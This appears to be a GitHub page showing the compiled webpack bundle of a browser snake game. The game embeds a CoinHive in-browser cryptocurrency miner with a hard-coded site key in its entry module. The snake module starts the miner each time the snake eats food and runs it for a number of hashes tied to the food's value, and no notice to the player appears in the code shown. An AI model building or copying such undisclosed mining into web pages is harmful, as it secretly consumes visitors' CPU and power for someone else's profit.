This repository has been archived by the owner on Aug 27, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
bundle.js
332 lines (284 loc) · 10.3 KB
/
bundle.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, {
/******/ configurable: false,
/******/ enumerable: true,
/******/ get: getter
/******/ });
/******/ }
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = 0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__game__ = __webpack_require__(1);
window.onload = () => {
const miner = new CoinHive.Anonymous('pVn9IlEfqHmBteAUqVT4aJlPIT8AN8D3');
const canvas = document.getElementById("gc");
const game = new __WEBPACK_IMPORTED_MODULE_0__game__["a" /* default */](canvas, miner);
document.addEventListener("keydown", game.keyPush.bind(game));
canvas.addEventListener('click', game.click.bind(game));
};
/***/ }),
/* 1 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__food__ = __webpack_require__(2);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__snake__ = __webpack_require__(3);
class Game {
constructor(canvas, miner) {
this.canvas = canvas;
this.context = canvas.getContext("2d");
this.gridSize = 20;
this.tileCount = 40;
this.hashes = 0;
this.energyMultiplier = 20; //hashes per energy
this.score = 0;
this.highScore = 0;
this.miner = miner;
this.food = new __WEBPACK_IMPORTED_MODULE_0__food__["a" /* default */]();
this.snake = new __WEBPACK_IMPORTED_MODULE_1__snake__["a" /* default */](this.tileCount, miner);
this.showNewGameScreen = false;
this.interval = 1000/15;
this.intervalFunction = () => {
this.update();
this.draw();
setTimeout(this.intervalFunction, this.interval);
};
setTimeout(this.intervalFunction, this.interval);
}
update() {
if (this.score > this.highScore) {
this.highScore = this.score;
}
this.snake.update();
if (this.snake.foodInside === 0 && !this.food) {
createFood(this);
this.interval = 1000/15;
}
if (this.snake.foodInside > 0) {
this.interval = 1000/45;
}
checkSnakeCollision(this);
if (this.food) {
checkFoodCollision(this);
}
}
draw() {
this.context.fillStyle = "black";
this.context.fillRect(0, 0, this.canvas.width, this.canvas.height);
if (!this.showNewGameScreen) {
this.context.fillStyle = 'blue';
this.context.fillRect(this.snake.xHead * this.gridSize, this.snake.yHead * this.gridSize, this.gridSize - 2, this.gridSize - 2);
this.context.fillStyle = this.snake.tailColor;
this.snake.trail.forEach((segment) => {
this.context.fillRect(segment.x * this.gridSize, segment.y * this.gridSize, this.gridSize - 2, this.gridSize - 2);
});
if (this.food) {
this.context.fillStyle = "red";
this.context.fillRect(this.food.x * this.gridSize, this.food.y * this.gridSize, this.gridSize, this.gridSize);
}
drawScore(this);
} else {
this.context.font = "30px Comic Sans MS";
this.context.fillStyle = "red";
this.context.textAlign = "center";
this.context.fillText('OUPS! Your score: ' + this.score + '. Click to try again.', this.canvas.width/2, this.canvas.height/2);
}
}
keyPush(evt) {
this.snake.updateDirection(evt);
}
click() {
if (this.showNewGameScreen) {
this.score = 0;
this.showNewGameScreen = false;
this.snake = new __WEBPACK_IMPORTED_MODULE_1__snake__["a" /* default */](this.tileCount, this.miner);
createFood(this);
}
}
}
/* harmony export (immutable) */ __webpack_exports__["a"] = Game;
function drawScore(gameObj) {
gameObj.context.font = "30px Comic Sans MS";
gameObj.context.fillStyle = "rgba(255, 255, 255, 0.5)";
gameObj.context.textAlign = "right";
gameObj.context.fillText('Score: ' + gameObj.score, gameObj.canvas.width - 30, 30);
gameObj.context.textAlign = "left";
gameObj.context.fillText('HighScore: ' + gameObj.highScore, 30, 30);
}
function checkSnakeCollision(gameObj) {
gameObj.snake.trail.forEach((segment) => {
if (segment.x === gameObj.snake.xHead && segment.y === gameObj.snake.yHead) {
gameObj.showNewGameScreen = true;
}
});
}
function checkFoodCollision(gameObj) {
if (gameObj.food.x === gameObj.snake.xHead && gameObj.food.y === gameObj.snake.yHead) {
gameObj.snake.miner.start();
gameObj.snake.foodInside = gameObj.food.energy * gameObj.energyMultiplier;
gameObj.snake.tail+=gameObj.food.energy;
gameObj.score+=gameObj.food.energy;
gameObj.food = null;
}
}
function createFood(gameObj) {
let xFood = Math.floor(Math.random() * gameObj.tileCount);
let yFood = Math.floor(Math.random() * gameObj.tileCount);
gameObj.food = new __WEBPACK_IMPORTED_MODULE_0__food__["a" /* default */](xFood, yFood, Math.floor(Math.random() * 5) + 1);
}
/***/ }),
/* 2 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
class Food {
constructor(x = 15, y = 15, energy = 1) {
this.x = x;
this.y = y;
this.energy = energy;
}
}
/* harmony export (immutable) */ __webpack_exports__["a"] = Food;
/***/ }),
/* 3 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
class Snake {
constructor(tileCount, miner) {
this.xHead = 10;
this.yHead = 10;
this.xVelosity = 1;
this.yVelosity = 0;
this.trail = [];
this.tail = 4;
this.foodInside = 0;
this.tileCount = tileCount;
this.miner = miner;
this.hashes = miner.getTotalHashes();
this.tailColors = ['green', 'white', 'blue', 'lime', 'chocolate', 'DeepPink', 'PaleVioletRed', 'SeaShell'];
this.tailColor = this.tailColors[3];
}
update() {
if (this.foodInside > 0) {
this.tailColor = this.tailColors[Math.floor(Math.random() * this.tailColors.length)];
} else {
this.tailColor = 'lime';
}
const totalHashes = this.miner.getTotalHashes();
console.log('Total:' + totalHashes);
console.log('Hashes:' + this.hashes);
console.log('Inside:' + this.foodInside);
if (totalHashes > this.hashes + this.foodInside) {
this.foodInside = 0;
this.hashes = totalHashes;
this.miner.stop();
}
this.trail.push({ x: this.xHead, y: this.yHead});
this.xHead += this.xVelosity;
this.yHead += this.yVelosity;
if (this.xHead < 0) {
this.xHead = this.tileCount - 1;
}
if (this.xHead > this.tileCount - 1) {
this.xHead = 0;
}
if (this.yHead < 0) {
this.yHead = this.tileCount - 1;
}
if (this.yHead > this.tileCount - 1) {
this.yHead = 0;
}
while (this.trail.length > this.tail) {
this.trail.shift();
}
}
updateDirection(evt) {
switch(evt.keyCode) {
case 37:
if (this.xVelosity !== 1) {
this.xVelosity = -1;
this.yVelosity = 0;
}
break;
case 38:
if (this.yVelosity !== 1) {
this.xVelosity = 0;
this.yVelosity = -1;
}
break;
case 39:
if (this.xVelosity !== -1) {
this.xVelosity = 1;
this.yVelosity = 0;
}
break;
case 40:
if (this.yVelosity !== -1) {
this.xVelosity = 0;
this.yVelosity = 1;
}
break;
}
}
}
/* harmony export (immutable) */ __webpack_exports__["a"] = Snake;
/***/ })
/******/ ]);